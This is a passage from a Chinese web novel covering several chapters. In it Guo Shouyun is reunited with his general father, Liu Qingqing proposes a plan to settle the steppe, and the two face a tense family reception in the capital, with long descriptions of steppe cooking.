乌兰收拾包袱的手顿住,复把包裹全都递了过去:“这些都是西胜抢来的不义之财,劳你们拿去,安葬牺牲的赵人吧!我可以把塔娜养大的,我会放牧,饲养牲口,熬奶……” 郭守云指着包裹中那枚黄金镶蓝宝石戒指,呼吸急促了几分:“我在佟新灶手上见过这枚戒指。” 两人对视一眼,天下竟有这样巧的事情,这些财物难道是那个西胜从佟新灶那儿抢来的。 他们把目光复又放在了那把黑色长柄钥匙上。 刘青青捡起钥匙,伸进郭守云脖颈间项圈的黑锁上,轻轻一扭,卡塔一声,黑锁弹开,架在郭守云身上的重重铁链掉了下来。 身上轻了三十斤,郭守云兴奋的杵着棍子在毡包里走了好几圈。 刘青青想了想,她没资格替那些牺牲的赵人说原谅,取出一枚十两的银元宝递给乌兰:“乌兰姆妈,你收着十两银,足够你们在边城凭个房子过活,剩下的钱财,便作抚恤银吧。” 几人决定明日天一亮就启程回边城,今晚便把东西归拢,收拾准备。 刘青青看了看麻袋了,羊肉还剩最后一只羊腿,还有半袋子面粉。 乌兰有心显示自己的手艺,主动说会整治羊腿。 只见乌兰首先把羊腿解冻,洗干净划了几刀,撒上盐巴野葱野姜,像揉面一般反复搓揉,直到把味道揉进肉里,上蒸笼蒸一盏茶的光景,取出放凉。 另取一只小碗,加入酥油,孜然粉,盐,花椒粉,蒜粉等混合,调拌均匀,抹一层在凉透的羊腿上,把羊腿架在火上不停的翻烤,八成熟的时候,继续抹上蘸料翻烤,直到腿上的油脂冒出滋滋的声响,霸道的香味充满了毡包,再撒上辣椒面,芝麻,最后再烤一炷香,便成了。 同时,埋在火里的土豆也熟透了,另外乌兰担心两人吃不惯,泡发了一碗干白菜,熬成菜汤。 主食是焙子,狗子们的是熬熟的鸭肉块。 几人围坐在小案桌前,撕一块冒着浓香热气的羊腿肉,塞到嘴里,入口羊 肉充满了汁水,嫩滑软香,外皮微微焦脆,油脂的肥美,孜然回甘,混合在一起,层层在舌尖弹开,简直是美味炸弹。 在吃一个外皮焦黄的土豆,内心软糯沙喧,绵绵不绝,抹一点带来的卤豆腐,啧,好吃。 已经饱了的刘青青忍不住捡起一块微微焦黄的焙子,余温在手,一层层在嘴里碎裂开来,又脆又香。 还有带着微微酸味道的餐后酸奶,好喜欢这样的日子。 第200章 第200章相认 郭荣奔进书房,寻到正在润色军报的郭志成。激动大喊:“将军,阿云回来了!” 郭志成手里毛笔一丢,大步流星走到花厅,站在廊下,迎面的便是杵着拐走路的郭守云,他一步步靠近,郭志城奔下台阶,虎目已然湿润,迎上郭守云,紧紧握着他的肩膀:“回来便好,回来便好!” 郭守云和刘青青对视一眼,对着异常热情的郭志成有些莫名。 众人来到花厅坐定,郭志城殷殷上前:“阿云,我,我能看一下你背上的纹身么?” 面对他不解的目光,郭荣在一旁喊开了:“你背上的刺字和将军走失的夫人,笔迹一模一样,你便是我们将军失散多年的亲子!” 郭守云还未应答,一旁的刘青青心绪起伏,阿云一直介怀自己的身世不详,若能寻到出处,也算了解一段心愿。 她走到郭守云身后,扒拉下他的外裳,露出精壮的后背。 郭志城绕到后面,郭守云三字在他背上影影绰绰,“郭”字因他从稚龄长大成人,也早已经左右分家,但是笔迹的样式和水娘的书写习惯一模一样。 合拢衣服,仔细打量郭守云的长相,眼睛和自己十分相似,鼻梁嘴巴和水娘几乎一样,几乎和他日思夜想的人重叠在一起。 郭志城再也不能控制心神,双手按在郭守云肩膀上:“孩子,我找你们找得好苦,这么些年,你们娘两去哪了啊!”话语里满身对他们的关心,也含了一丝对水娘不辞而别的委屈和恼怒。 郭守云抿着唇不说话。 刘青青看一眼郭志城,解释:“我们家在南安府清水沟村,我爹他们进山打猎的时候,碰见了阿云,他当时八九岁模样,行为习惯和野狼无二。” “他从那时便成了我们家一员!” 也就是说,他也不认得自己的身世。 行为习惯和野狼无二几个字,一个一个像箭矢狠狠扎在了郭志成的神经上,让他心肝脾肺肾都开始疼起来,他的儿子自小与野狼为伴,漫长的岁月里,他小小的一个人,没有父亲的教导,不受母亲的庇护,雨里蜷缩在树叶下,雪中躲在山洞内,时刻警惕野的袭击,在蛇口虫毒下求生…… 他在艰难求生的时候,可曾怨恨过将他丢弃的父母。 郭志城浑身被惭愧填满,无力悔恨一刀一刀凌迟着他的心,他几乎要窒息过去,半响,只化为一声叹息:“孩子,你受苦了!” 他迫切要补偿郭守云,要把字所拥有的一切捧到儿子面前。 郭志城绘画着以后的生活:“这些日子你先养伤,我把边城事务安排下去,等官道清理出来,我们一并上京,此次大捷,边关至少有一二十年的平静,你若喜武,我便为你找陛下讨个御前侍卫之职,若志在文,上京无数的文豪名士,我豁出去老脸,也为你拜得名师,若喜欢做个富贵闲人,将军府的一切都是你的!” 郭守云不为所动,什么御前侍卫,名师,他都不感兴趣,他只想和刘青青呆在一起。 一旁枯坐的刘青青翻了个白眼,这郭将军挺会避重就轻,郭守云为何被丢弃,是半点不提。 她咳嗽了一声,笑道:“将军恕罪,听说上京纨绔子弟遍地走,不知上京家中还有何人,阿云去了上京,可有兄弟姐妹帮扶?” 郭志城扭头对着刘青青,言语间甚是客气:“多谢小友相赠之恩!”依依不舍的将油纸包还了回去。 俱而回答:“放心放心,有我母亲在,就是阿云祖母在,还有表妹和守业帮着,定然不会叫阿云被欺负了去。” 听到祖母,表妹,刘青青面上闪过一丝古怪:“谁是守业?” 郭志城有些尴尬不吭声。 一旁郭荣解释:“当年夫人失踪,老夫人担忧焦虑一病不起,将军公务在身,闲暇之余还要探寻夫人踪迹,没奈何,请了和离在家的金夫人来帮忙。金夫人便是老夫人的内侄女。” “老夫人好了后,做主让将军娶了金夫人,前些年金夫人前夫家犯了事,破败下去,老夫人舍不得侄孙受苦,使人接回了将军府照看一二。” 明白了,郭将军已经另娶新欢,还替新欢养儿子。 当年郭守云母子遇难一事,若不是今日提起来,只怕像掉落在路边的树叶,悄无声息遗忘在过往的岁月里。 刘青青对那个素未谋面的金夫人和郭守业生出几分探究的心思,示意郭守云点头。 上京,他们是要走一遭的。【你现在阅读的是 】 200-205 第201章 第201章对夹 郭志城寥寥而谈:“边疆大患已除,回京卸职后我亲自教导武艺,一来强身健体,二来有个自保的能力!” 说完看一眼刘青青:“当然,青青若想学的话,也一起哈!” 这是打算荣养天年了么。 郭青青心下一动,询问:“将军,那边城守军何去何从?” 自家儿子不善言辞,这个刘青青话却多,脑子灵,倒是互补。他也希望自己儿子找寻一个机灵伶俐的媳妇,莫要像自己夫人,温柔善感,遇到事情闷在心里,惹急了负气出走。 看着刘青青的眼神越发柔和,耐心解释:“军费耗资巨大,边城之患已解决,只留下少数战士戍常,余下的回京受赏后便归家。” 明白了,现在军队人数众多,财政紧张,朝廷无力供养如此多的嘴巴吃饭,所以奖赏一番,打发回村耕田糊嘴。 刘青青状若担忧,戚眉道:“我和阿青深入草原,也晓得些内情,此次扰边的是以卡卡部为首的部族,他们占据草原水草最丰沛的草原南面,但是,听说草原北面,东面,西面,”还有许多小部族,各自为政,他们趁卡卡部族南下,一举端了卡卡部的老巢。” “倘若边城军士回家种地,没了卡卡部族的压制,焉知那些小部族,不会成长为下一个叩边的卡卡部?” 郭志城悚然一惊,一直以为金人和他们一样,上下一体,哪知他们其实是联盟,各自为政。 他面色沉了下来,唤郭荣将剩余副将全都叫了过来。 心下生出些疲惫无力,照他们这样说,金人无穷无尽,如何打得完?他们主动出击,茫茫草原,去哪里撵? 等几位副将齐聚,郭志城示意刘青青重新说了一遍。 “我深入草原寻阿云,他被一个老妇人所救,我们便在老妇人的毡包中将养了些时日。” “草原部族众多,大大小小一二十个,他们逐草而居,族群间经常打仗,争夺水草丰茂之地。” 众人面面相觑,难怪金人打仗这么厉害,原来是从小练出来的。 就是此次卡卡部,因倾巢出动,老巢也被其他部族端了,族群里的老弱妇女孩童都被抢走了。 而且,我们还看到有武士护卫着几个年轻孕妇北逃,他们穿着保暖的裘衣,应是卡卡部的王妃夫人一流。 斩草不除根,春风吹又生。 张文戚眉:“那你们为何不把卡卡余孽拿下?” 刘青青翻了个白眼:“将军,用用你的脑子,我手无寸铁之力,阿云断腿难以下地,我们一弱一残,如何拿下?” 张文被她怼得哑口无声,生出些恼怒。 郭志城想起那把黑管的巨大威力,腹里吐糟,她还弱小,这天下便没有弱小之人了,板着脸喝道:“青青不得无礼!” 他扭头看着张文:“他们两不过普通百姓,看见金人已 经吓得两股战战,能躲着捡回一条命已是大善!” 他复又询问刘青青:“你今日告诉我们这些,定然有法子克制,不要卖关子了,但说无妨!” 刘青青点头:“其实草原上有很多好东西的,奔驰的野马,无数的牛羊,漂亮的野狐,我们打赢了卡卡部族,按照草原上的规矩,他们的草原地盘便是我们的了,不如我们也去养牛羊,圈野马。把草原南面占了,归到大赵的版图之上。以草原南边为主,向着整个草原辐射。” 开疆扩土之功,在座的几人呼吸都急促起来,这是可以史书上留名的千秋之功。 郭志城破了盆冷水:“我们如何不知,放着那么大一片地盘白白丢掉可惜,但是,赵人不擅放牧,也不喜居无定所的漂泊,朝廷还要供养耗资巨大的骑兵巡逻管辖,得不偿失,所以形成了惯例,干脆不要。” 刘青青笑道:“不擅放牧,牧民们擅长啊,俘虏营里要多少有多少,不喜到处奔波,那便把草原按照季节划分成一个个小块,居所固定下来,两个或三个,像我们的田地一样,只允许他们在自己的草地上放牧。” 牧民们互相监督举报,朝廷骑兵威慑作奸犯科之辈,草原稳定下来,为南面供养无数的马匹,牛肉羊肉,皮子,奶,南面的粮食也供养草原上的牧民,大家一起和和美美过日子,以后再也没有纷扰,一劳永逸的解决了战争。 听了她的规划,众人眼前一亮。 草原的混乱很大的原因是因为牧民在草原上到处乱窜,你准备了强大的骑兵去追击,却迷了路,寻不到他。 现在固定下来,他只可以去那么两三个草场,若胆敢做了作奸犯科的事情,他也跑不脱。 就像是宽大的马车要运送很多鸡蛋,马车一走动,鸡蛋到处滚动碰撞,蛋便摔坏了,此举就像在马车里安装很多小小的蛋托,一个蛋一个格子,鸡蛋固定下来,能完好的运送到目的地。 坐在厅里的人常年戍守草原,更能明白此举的意义,刘青青启了个头,他们便热切讨论了起来。 刘青青达到目的,功成身退,和郭志城静静坐在一边,等被问道了,才说几句。 乌兰带着塔娜来到边城,生怕赵人对他们喊打喊杀,一路惴惴不安,进了边城,发现赵人将军亲自来迎接他们,心放下了肚子,安心在安排的厢房里等着。 小小的塔娜睁着大大的眼睛,惊奇的转着脑袋,这里摸一摸那里看一看。 “姆妈,这里的门有两个,好宽,阿红也能进来。我们去把阿红牵进来,免得它被冻到。”阿红便是郭守云骑的马。 乌兰抚着她的头解释:“那叫一道门,两扇,不是两个门。阿红小白有专门的马圈羊圈能遮雪,不和我们一起住。” “疑,姆妈,这里的床好大,好神奇,竟然是暖和的,你摸摸!”塔娜兴奋的在炕上跳个不停。 一面蹦一面叫:“姆妈,这里的房顶好高好高,我在床上跳起来都碰不到头!” 她跳得满头大汗,倒在炕上滚过来翻过去,玩得好开心。 玩累了,爬到乌兰怀里,仰着头看乌兰:“原来赵人的家长这样,好是好,就是没炉子煮奶茶,姆妈,我们什么时候回去?我想喝奶茶。”说完舔吧舔吧小嘴皮。 这几日一直赶路,确实没有好好吃过一顿。 今早的干粮还是未时初吃的,现在已经戌时了,不见刘青青等人回来,也无人送点吃喝的过来,乌兰看着嚷嚷肚子饿的孙女,领着人出门,摸到了厨房,寻思讨要些吃的给乌兰,少少一点就够了。 她牵着乌兰沿着廊下,赵人喜欢将厨房设在前院的厢房里,她便往那个方向去,果然,远远的就闻到了食物的香味。 她鼓着胆子走进厨房,看见桌案上一盆煮好的面汤,下头还沉淀着些土豆丸,厚着面皮期期艾艾上前,对着在火上忙碌的的厨子哀求:“军爷,可不可以给我一碗面汤,孩子小,实在饿了顶不住!” 厨子斜她一眼,看了看乌兰指着的面汤,握着勺子的手哐哐在锅边敲了两下,把勺子上的土豆丝抖掉:“你这老妇人眼神不好,那是我煮的饺子!”他把勺子伸进锅里,搅拌了一下,舀了一勺倒在乌兰抬着的碗里。 “吃吧吃吧,不够还有!” 乌兰看一眼碗里浑浊的饺子汤,混杂了带了黑斑的面皮和尚未变色的土豆芯,没吭声,送到塔娜嘴巴前。塔娜喝了一口,张yue了一下,嫌弃的不愿再喝,紧紧捂着嘴巴,头摇得像拨浪鼓一般:“姆妈,这个饺子汤又咸又苦,我喝不下去。” 不能让粮食浪费了,乌兰端着汤碗往自己嘴里送。 嗯,盐放多了,煮糊了,但芯还是生的,几种味道混合在一起,形成一种奇怪的味道,白瞎了这么些面粉和土豆。 乌兰心一横,闭眼哐哐喝下去,使劲拍了拍胸口,忍住没yue出来,粮食这么珍贵,哪里能浪费。 余光瞥见厨子翻了两三下土豆丝,要把一边一盆上好的还在淋血水的生猪肉,倒进锅,乌兰太阳穴突突的跳,按住厨子的手:“军爷,我稍会一点庖厨,你这肉,这么大一块入锅,不容易熟吧!” 她说不容易熟是婉转的说法,按她的经验,这些肉即便外头炒焦了,里头还是生的。 又是一盆苦咸yue人的土豆丝炒焦肉。 厨子听了她的话,挑挑眉:“你会做饭。” “能煮熟!”乌兰又补了一句:“不会糊!” 厨子闻言很是高兴:“你来煮,我打下手。”戍守边城的时候,所有人都上了墙头,包括原来的厨子墩子,可惜那人,没能再下来,现在的厨子外号黑狸,是新选出来的,才上任了没几天。 乌兰有心推拒,怕惹来麻烦,又看看那盆浑浊的饺子汤,实在不忍食材被浪费,点点头同意。 她先把低着血水的猪肉块重新倒入井水洗净控干。 锅里微末带点热气,放入从柜子里搜寻出来的草果八果肉蔻桂皮丁香粉,少许红糖末,炒得微微泛着焦香,加入沸水熬煮,等卤汁沸腾起来,换成陶罐,加入香叶花椒粒葱白,把刚才的一盆肉放了进去,架在只有一点余烬的炭火上慢慢卤着。 一面做一面和一旁观看的黑狸解释:“你切得肉有些大,纹理也是乱的,不好改刀,只能卤了。” 乌兰又去舀了一盆面粉,放入温水,些许盐巴,揉成光滑的面团发酵,令取了一碗小米面,糜子面和酥油搅拌均匀,做成油酥,将醒好的面团擀成薄片,抹上一层油酥,然后卷起来,纠成小面团压扁成薄饼,放在炉子上烤熟,然后在面饼表面上再涂抹一层油酥,撒上一层小米面,回炉子上微火重新烤一遍,使得面饼外酥里嫩。 卤肉经过小火炖煮,变得鲜嫩多汁,从卤汤中捞出控干。乌兰喊黑狸把铁锅端走,锅洞里架火烧柏木柴,上头吊着煮好的卤肉,熏烧半个时辰便好了。 吃的时候,取一个面饼,从侧面切开,塞入一块熏肉。 乌兰对着黑狸解释,这叫做“赤峰对夹”,先做了一个塞给黑狸,然后又做了一个给塔娜。 黑狸望着手里的对夹,面皮焦黄脆香,手指轻轻一动,上面的面皮渣便哗啦哗啦往下掉,里头的夹肉颤巍巍的,肥瘦相间,散发着幽幽的香气。 实在忍不住咬上一口,表皮的酥脆内层软绵,熏肉鲜嫩多汁,又有一股特殊的烟火气,混在一起,形成一种有层次感的香味,在嘴里层层荡开,每一口便是草原的味道,极致的满足。 黑狸三两口便干下一个,咽着口水眼巴巴盯着一旁一层一层撕饼皮的塔娜。 第202章 第202章交融 塔娜顺着黑狸过热的目光,捏着对夹的手抖了抖,对夹是她吃过最好吃的饼,若给了黑叔叔,他那张大嘴,三口又没了,可是这个黑叔叔方才大方的给她喝要yue的汤。她想了想,撕下一块薄如蝉翼能透光的饼皮递给黑狸,眨巴眨巴亮晶晶的眼睛:“黑叔叔,我一片饼皮,你一片饼皮,我们慢慢吃,这么一个饼,够我们吃到星星爬上天。” 官道正在热火朝天的修复,边城里的民众按人头分粮,他今日的那一份确实没有了。 从小孩子手里哄吃的,有些没脸,但这个饼实在太香酥美味,他忍不住,嗯,等明日的粮下来了,他双倍还给塔娜。 于是他蹲在塔娜身边,眼巴巴等着塔娜撕面皮,聪明的塔娜还会给他一小条肉丝,裹进面皮里卷起来,只有小指头大一根,那是另外一种滋味。 这当头,花厅里的议事有了大体的章程。 首先是大批俘虏的处理,担心俘虏的边民再次相聚作乱,决定把青壮俘虏送回赵国,分散到各府做劳役,反正他们有的是力气,正好物尽其用,再从各府召集会放牧的赵人前来。 卡卡部的草场按照春夏秋冬划分,低价租凭给赵人,每个赵人分别从四块区域中租凭一块草场,四个季节轮流到自己草场里放牧,只要他们根据草场的大小,每年上交相应数量的牲口和皮毛给国库,剩下的产出都是他们自己的。 因边城里的军民戍守边疆有功,可以优先租凭,还可以享受一定的折扣。 年纪老迈的俘虏或者受伤残疾的俘虏 ,由租聘草场的赵人,买回草原放牧,当然,草场上交国库的物资,由边城军截留一部分下来,用于草场的震慑和管理,再慢慢蚕食外围草原,争取把整个草原纳入版图。 这些事物持久而漫长,需要大量的人手,边军也有了着落,不用回家去分配家乡那一点少少的土地,甚至可以把家人接来一起过活。 二来便是功绩的确定,郭荣暗杀卡卡部大小王子,自然首筹,其他的按功排序,问题僵在郭守云和刘青青这里。 他们没有上场杀敌,做的是后勤工作,筹集运送了无数的粮草,解决了边城最大的难题,多次用计消减了卡卡的实力,这些都要在上报的功劳簿上写一笔。 郭志城看着两人:“你们先要什么,我自然会在朝会上替你们争辩一二。” 郭守云将目光看向刘青青,示意一切凭她做主。 刘青青说出的话语让大家静默了一下:“我希望制定法则,能保护牧民不受欺负,草场主人必须供给他们吃饱穿暖,还要发一些工钱,让他们应付生活中的意外,能购买喜欢的东西,仰或为自己赎身。” 郭荣首先不同意:“青青,金人杀了我们多少人,你如何还为他们说话!” 刘青青解释:“他们成了奴隶,已经是为过去的错做出了惩罚,以后草原都是我们的,牧民也是我们的百姓,就行上京里大户人家的家奴一样,吃饱穿暖,做好了活计还有铜钱可以领,还可以赎身为良民,他们会一心向着大赵,若干年后混溶在一起,都是赵人,草原也不会再从赵人手里分出去。” “但凡活得下去,日子有了盼头,哪里还会有人愿意冒着性命危险挑起战争,即便有别有用心的心怀诡计之人挑拨,相信大多数人都不会跟随。” 刘青青笑道:“当然,我还希望将青华园开到边城来,让草原的百姓能低价吃到南安府黏糯的稻米,带着阳光的鲜花饼,穿上柔软的布衣,盖上暖和蓬松的棉花被,也让南安府的百姓喝到草原香醇的酸奶,吃到肉质鲜美的手把肉,穿上草原皮子做的皮靴。” “不管是在草原和牛羊赛跑,仰或在稻田里拔草,都是赵人,都过上一样舒心又充满希望的的日子。” 她清冷的女声带着一丝期许,把将来描述得太美好,大家都静静地听着,仿佛看到了威胁中原民族数百年的草原游牧民族,变成整个中原民族的一份,再也不可分割出去。 郭志城沉静的心砰砰跳动起来,作为高位将领,他太明白此举的意义。 无论如何,都要想办法将这些策略得到实施。 花厅里静悄悄的,当他们沉醉在这一片美景时,一股麦香幽幽飘荡了过来,郭荣看看天色,拍着脑袋:“哟,看我这脑子,都过了饭食了,我们先随意吃些东西果腹。”着急人去端饭菜。 其他人听到吃饭,一脸菜色,实在是新选拔的厨子,做的饭菜,让人一言难尽。 就着刘青青适才的话题,热烈的讨论起来。 不一会,一盆冒着热气的饼就被端了上来,余光瞟过,饼皮白生生的,中间微微泛着一些焦黄,胖嘟嘟鼓囊囊的饼张开个大嘴,露出里头油晶晶的肉块,像个送肉来的白皮大青蛙,惹得人忍不住咽了口口水。 众人先是一愣,今日的饭菜画风不对啊,难道厨子别出心裁,今日裁到了地方上? 看着品相不错,要不先试探着尝一尝。 郭荣是个不挑食的,随手抓了一个,咬了一口后,苦着脸又伸手从框里捞走五六个,嘴里还嘟囔着:“哎呀,这个饼太难吃了,又苦又酸,我都替你们吃了吧!” 他嘴上这么说,但脸上的表情却不是这样的,他的腮帮子鼓鼓的,巴不得将所有饼都怼到嘴里,眼睛还愉悦的眯了起来,整个人不像个杀人不扎眼的副官,倒是个偷吃的老鼠精。 还悄咪咪的藏了一个在袖中,估计是要带去给他那个想好。 其他人暗觉不对,连忙争抢白饼。 一入口,大家都忍不住称赞起来,天哪,竟然有如此美味的饼。 外皮酥脆香,内里柔软绵糯,最里头的肉却肥嫩多汁,又满是烟火焦香,数种滋味在口里交融,形成一种奇特的鲜香,难道这才是新厨子的看家本事? 大家不住的对着送餐的黑狸夸赞:好黑狸,我们以后就吃这个哈! 黑狸讪讪解释:“这叫对夹,是跟随刘东家来的老妇人做的,我做的土豆饺子也很美味,你们尝尝!” 众人看着那盆又白又黄,还泛着黑点点的土豆饺子,你推我,我推你,互相谦让起来。 刘青青适时解了围:“辛苦了,劳烦你转告乌兰姆妈,再送些酸奶来!” 黑狸哦了一声离开,众人离那盆土豆饺子又远了些。 刘青青指着对夹:“诺,乌兰姆妈是金人的牧民,阿青受重伤昏迷后,被她所救,这便是她做的,对夹,若是两族融合,以后这样的美食,我们远在南边的家人也能吃到,小孩子也能日日喝到牛乳羊乳,长得如牛犊一样健壮,平民百姓也可以吃到贵重的牛肉,用马匹代步,这样的日子不好么?” 第203章 第203章上京 献俘队挨近上京城,按照朝廷的旨意,绕道南熏门,郭志城和郭荣领队在最前面,骑着高头大马,带着大红花,后头跟着各位副将千户百户,最后便是手脚捆着绳索的金人俘虏了。 上京城的百姓倾巢出动,扶老携幼围在御街两侧,远远望见进城的将士,开始投掷瓜果鲜花,不要钱一般砸中在前头的武将身上。 待望见后面的俘虏,打量着他们状如牛犊的体材,不由得越发佩服赵国的将士,竟然能把这么吓人的壮汉打趴下,边军好样的! 一直行至宫城宣德门,因刘青青和郭守云是白身,在城门口值房里听宣,郭志城领着人进宫受嘉奖,边城现在百废待兴,李东家等商户全都挤在边城,抢占地盘,筹建新铺。嘉奖一事,全城托付给刘青青。 小品级将士该给的功勋没有太大的争议,唯独主将和几个副将,战功较大的千户,需要再斟酌一二,还有为此次战役奔前跑后的各家商户,应该给些什么嘉奖,有待商榷。 这些都是站在朝堂上的大佬们你来我往拉扯的内容,一时半会出不来,郭志城正和一众文臣扯皮,打了个眼色给郭荣。 郭荣人言轻微,这种场合没有发言的地方,得了指示,悄悄摸出了宫,领着郭守云一行人回府。 沿着人群散去的御街,至州桥西行,出宜秋门行至西浮 桥,位于二十五坊第一家的便是郭府,占地两个跨院。 郭荣心有余悸:“你们莫要看这房小,值八千两银,这还是因为将军早些年买,稍微便宜些,如今已经涨到一万二千两银。” 他吐了吐舌,内城更夸张,这样的一个宅子价还要翻三倍。 刘青青默默计算,一两银约摸一千钱,八千两银子,那是八百万钱,确实好贵。 南安府青华园占地极广,还有内湖,当时新买的加上装修改建,也堪堪花了三万两,内城一个小小的宅子就要三万两,也太不划算了。 刘青青可以感受到郭荣的肉疼与羡慕。 据她的了解,郭荣一年的饷银是二十两,买这么一个房子得,400年? 哦,郭志城当年能买下这个房产,是因为他军饷很高么? 郭荣解释:“那倒没有,将军军饷四十两一年,”他压低声音道:“将军一路打下来获得的勋劳,有些时候斩杀的敌人,无苦主来寻,缴获的钱财,除了上交国库外,按照惯例也能分一些茶水费。朝廷也有其他补贴,比如冬日的炭火钱,夏日的冰钱,节礼什么的。” “到成婚的时候,积少成多,堪堪攒下了四百两,夫人原是上京外城举人老爷家女儿,爹娘已经过世,卖了自家房凑了四百两,才买下这个宅子,我还听将军提起过,若没有夫人,这个宅院他一个人是买不起的,所以当时房契上留的是将军和夫人两人的名字。” 刘青青忍不住吐糟:“你们上京人真有钱!” 郭荣翻个白眼:“青青,你莫要说这话来刺我,我们几个里头就你兜里的银最多,这样的宅子,若你想买,不是立马就可以办到的么,青华园从南安府开到了边城,这一路给你们家赚了多少银子了!” 刘青青讪讪:“因为修铁路,买粮,青华园账上已没有多少现银,堪堪够青华园维持运转,我真买不起。我只是觉得,这宅子有些不值,占地也不算大,竟然要价这么贵,也不晓得是哪些人来买?我看你攒了好多银子,也准备买么?” 郭荣解释:“全赵国人都往上京挤,中了进士的老爷,有钱的商贾,像我这种在上京长大的老百姓,如想成亲,肯定是要买房的,价格便一路攀升,我一直住在将军府,不成婚还好,若是成婚再住将军府不合适,肯定是要买房的。” 他兴冲冲道:“中人在严华寺旁帮我留了一幢带院的小宅,一明两暗,只要三千两,明日有空,我带你们去看,你们帮我参谋参谋。” 已经混熟了,刘青青好奇:“你那日还说这些年藏了二千两,剩下的一千两饥荒怎么办?需要我帮你从园子账上拆借么?” 郭荣呵呵一笑:“真不用,你们需要银子周转,我哪里能长时间占用。这里的大相国寺可以放款,抵押房产,交付一些利钱,每月按时还上就可以。”他有些肉疼:“利钱还挺高,一千两银,我签了二十年的契约,每月还八两。” 对数字极其敏感的她立马算出来:“多还了920两,利钱几乎和本金一样了!”刘青青咂舌羡慕不已,好家伙,大相国寺果然赚钱。 她扭头询问郭守云:“卢师尊不是也在上京,他们家的房是买的么?我们收拾利索换身衣裳便去叩拜。”郭志城做事周全,也会为家人考虑,那卢雪樵便是孤高敖洁,不肯多占朝廷的一针一线,甚至把自己的俸禄拿去贴补学生,施舍给穷人。 郭守云经常和老师通信,知晓内情:“老师的性格子,你又不是不知道,哪里有银钱购房,他们一家子挤在朝廷凭的两间屋子里,在望春门附近。” 说话间,已经到了郭府。 府门大开,一位锦衣妇人带着两个丫鬟一个婆子守在门口,看见郭荣,拉着他上下打量,美目里含了泪水:“回来便好,回来便好!祖母在中堂等你们许久了,快些进屋!” 郭荣介绍,这是金夫人。 郭志城现在的妻子,郭府如今的当家主母。 她热情的招呼郭守云和刘青青:“这便是那可怜的守云孩儿了,这些年你父亲寻你寻得好苦,回来便好,快走快走!” 丫头婆子簇拥着一行人行至中堂,上首坐着一个颧骨高耸的老婆子,套在一件蓝底斜纹万福褂子里,她眯着眼斜乜一眼郭荣,浑浊的眼底闪过一丝嫌弃,再扫过下头风尘仆仆灰头土脸的郭守云和刘青青,嘴里小声嘟囔一句,“又多了两个吃白饭的!” 郭荣面上闪过一丝尴尬。 金氏装作没听到,连忙笑道:“母亲,这便是前头姐姐生的孩儿,名叫守云,还有他的未婚妻,刘青青。” 她拉过郭守云和刘青青:“孩子,快给你们祖母磕头,问好!” 上面的金老婆子冷哼一声,微微抬着下巴,腰杆更直了些,等着小辈对她行礼。 刘青青扫一眼光秃秃的冰冷青石地面,没准备蒲团,如何磕头。 笑嘻嘻拉着郭守云一同躬身弯腰行礼:“老夫人好!” 郭荣悄悄朝着刘青青竖起大拇指,竟然不怕性子最尖酸的老夫人,果然胆肥。 一旁的金夫人诧异的挑挑眉,上首的老妇人面色已经黑如锅底,吐出的话语携枪带棒:“和你娘一样,果真是有人生没人养的!” 刘青青余光扫过身旁的郭守云,他嘴角紧紧抿着,这是生闷气了呢。 刘青青冷笑:“老夫人说的是呢,我们阿云没有母亲教养,命苦得很,还不是因为有的人面苦心恶,虐待有孕的儿媳。” 老金氏面上如同抹了酱油一般,黑一阵红一阵,隐隐带了薄怒,又不好下场和刘青青拌嘴,呵斥看戏的小金氏。 “你是聋了么,任由外人欺负我这老婆子。” 小金氏收起眼里的热闹,连忙劝刘青青:“阿青哪,虽说你还未过门,但也算我们家半个儿媳妇,哪有做孙媳妇的和祖母顶嘴的道理,快些给祖母道歉。” 她冷哼一声:“贵府门槛高,我怕是高攀不起。” 她瞅一眼郭守云:“当时说好,你来我们家当上门女婿,还不跟我走?” 上—门—女—婿! 这几个像最锋利的刀,狠狠扎在老金氏的软肉上,她不过想教导一下郭守云规矩,学着孝顺长辈,顺便震慑一下两个乡下来的土包子,哪知刘青青直接釜底抽薪,懒得搭理她。 老金氏气的差点厥过去,大口大口的喘着气,小金氏在一旁帮她顺气:“姑姑莫要动气,小心伤了身子,你放心,表哥大捷,家里鲜花着锦,多少人想巴结还巴结不上呢,有的他后悔的。等守业归家,我打发守业把他带回来,给您磕头赔罪。” 听到守业,老金氏嗯了一声,摸着金氏的手安抚的拍了拍:“这些年真是苦了你了,明明守业也是我郭家子,却被外人认为是继子,你放心,我不会让你受了委屈的。” 还未说完,金氏身边的婆子跑进来,气急:“老夫人,夫人,不好了,那个刘青青,带着人把入库的礼又抢走了!” 老金氏讥笑:“果真是上不得台面的土包子,送出去的拜礼竟然要回去,丢死个人!” 她转而骂下头的小金氏:“你下来教教她,莫要如此小家子气,不过几块土布鸡蛋之流,弄出如此丑态,丢人!” 金氏咬了咬牙,对着陪房骂道:“听见了么,还不下去!” 陪房为主家操心,却被骂了一顿,委屈至极,吊着脸解释:“可是他们送的拜礼是:乳胶床垫两个,乳胶枕两对,银指甲剪两套,松江布两匹,上好白狐狸皮一对,活羊两只,玫瑰鲜花饼两盒,油炸鸡枞菌两罐,油泡牛肝菌两罐……” 林林总总两马车,都是外头青华园里卖断货的好物件。 金氏姑侄两人平和的脸,在陪房的礼单背诵中逐渐变得凌乱,天哪,他们错过些什么? & 两人抬脚便走,郭荣跟在后面苦苦劝留,解释老夫人刀子嘴豆腐心,年龄大有些糊涂,莫要计较。 郭守云不让他为难:“阿荣哥,你前半个月就送了信,可是你看看这府里,有我们容身之地么,我们正好去拜见师尊,空闲了再陪你去看房。” 两个人通知管事把带来的土仪重新装车,送到望春门。 到了望春门垂柳巷,一溜一模一样的长方形屋宇排成一列,每家门前都种了青翠的大柳树。 身穿赤色,腰围不同腰封的官员小吏穿梭其间,别有一番热闹气息。垂柳巷在皇城旁边,这里的房子是朝廷盖起来,租凭给没有房子的官员居住的,除了有些拥挤,其他的还挺好。 远远的刘青青便看见一个小娘子在巷口伸长脖子张望,看见他们两人,兴奋的蹦了回去,不一会,卢雪樵一家,拖家带口来到巷口,笑莹莹看着他们。 郭守云只觉得眼眶一酸,便要跪下,卢学樵早就托着他,骂道:“痴儿,忘了为师教给你的么,膝下有黄金。盼了你们好些日子,今儿终于到了,你们快快归家!” 亲携了郭守云的手,师娘夏氏牵着刘青青,跟着适才跳跃的女郎,卢雪樵最小的女儿卢思瑶,叽叽喳喳询问他们一路可曾平安顺利。 进屋后一间屋子隔成了两半,前半间做待客吃饭的饭厅,后半间挤着放了书桌和四个书架。 旁边那间屋子隔成两间卧室。 夏氏把他 